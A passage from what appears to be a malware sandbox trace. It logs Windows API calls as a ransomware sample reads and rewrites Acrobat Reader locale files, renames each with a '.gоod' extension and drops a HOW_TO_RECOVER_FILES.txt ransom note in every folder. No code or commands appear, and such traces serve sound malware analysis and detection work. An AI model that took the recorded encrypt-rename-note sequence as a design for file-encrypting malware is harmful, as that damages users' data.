lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0184.654] ReadFile (in: hFile=0x7f8, lpBuffer=0x3736560, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3736560*, lpNumberOfBytesRead=0x1ffebaa8*=0xf33, lpOverlapped=0x0) returned 1 [0184.657] CloseHandle (hObject=0x7f8) returned 1 [0184.657] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.657] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.658] GetFileType (hFile=0x7f8) returned 0x1 [0184.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.658] GetFileType (hFile=0x7f8) returned 0x1 [0184.658] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1f33 [0184.658] WriteFile (in: hFile=0x7f8, lpBuffer=0x3737860*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3737860*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0184.658] CloseHandle (hObject=0x7f8) returned 1 [0184.658] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0184.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0184.658] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0184.658] GetFileType (hFile=0x7f8) returned 0x1 [0184.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0184.658] GetFileType (hFile=0x7f8) returned 0x1 [0184.658] ReadFile (in: hFile=0x7f8, lpBuffer=0x3739b88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3739b88*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0185.648] CloseHandle (hObject=0x7f8) returned 1 [0185.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0185.648] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0185.648] GetFileType (hFile=0x7f8) returned 0x1 [0185.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0185.648] GetFileType (hFile=0x7f8) returned 0x1 [0185.648] WriteFile (in: hFile=0x7f8, lpBuffer=0x35fefe0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x35fefe0*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0185.648] CloseHandle (hObject=0x7f8) returned 1 [0185.648] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.649] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0185.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0185.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6ade3d06, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1f43)) returned 1 [0185.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0185.649] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\ui-strings.js.gоod")) returned 1 [0185.650] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0185.650] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0185.650] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hr-hr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hr-hr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7f8 [0185.655] GetFileType (hFile=0x7f8) returned 0x1 [0185.655] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0185.656] GetFileType (hFile=0x7f8) returned 0x1 [0185.773] WriteFile (in: hFile=0x7f8, lpBuffer=0x3667828*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3667828*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0185.774] CloseHandle (hObject=0x7f8) returned 1 [0185.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0185.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu", lpFilePart=0x0) returned 0x6a [0185.774] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0185.775] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.775] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0185.775] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0185.775] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0185.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0185.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0185.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0185.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu", lpFilePart=0x0) returned 0x6a [0185.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec1de80 [0185.776] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0185.776] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0185.776] FindNextFileW (in: hFindFile=0x1ec1de80, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0185.776] FindClose (in: hFindFile=0x1ec1de80 | out: hFindFile=0x1ec1de80) returned 1 [0185.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0185.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0185.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0185.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3677490 | out: lpFileInformation=0x3677490*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2013)) returned 1 [0185.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0185.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0185.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0185.777] GetFileType (hFile=0x7f8) returned 0x1 [0185.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0185.778] GetFileType (hFile=0x7f8) returned 0x1 [0185.778] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0185.778] ReadFile (in: hFile=0x7f8, lpBuffer=0x3677978, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3677978*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0185.779] CloseHandle (hObject=0x7f8) returned 1 [0185.779] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0185.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0185.779] GetFileType (hFile=0x7f8) returned 0x1 [0185.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0185.779] GetFileType (hFile=0x7f8) returned 0x1 [0185.779] SetFilePointer (in: hFile=0x7f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x2013 [0185.780] WriteFile (in: hFile=0x7f8, lpBuffer=0x3678db8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3678db8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0185.813] CloseHandle (hObject=0x7f8) returned 1 [0185.813] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0185.813] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0185.813] GetFileType (hFile=0x7f8) returned 0x1 [0185.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0185.813] GetFileType (hFile=0x7f8) returned 0x1 [0185.813] ReadFile (in: hFile=0x7f8, lpBuffer=0x36fe230, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x36fe230*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0185.840] CloseHandle (hObject=0x7f8) returned 1 [0185.840] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0185.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7f8 [0185.841] GetFileType (hFile=0x7f8) returned 0x1 [0185.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0185.841] GetFileType (hFile=0x7f8) returned 0x1 [0185.841] WriteFile (in: hFile=0x7f8, lpBuffer=0x36fcf20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x36fcf20*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0185.841] CloseHandle (hObject=0x7f8) returned 1 [0185.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0185.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0185.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0185.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x6afad9b2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2023)) returned 1 [0185.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0185.841] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\hu-hu\\ui-strings.js.gоod")) returned 1 [0185.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\hu-hu\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 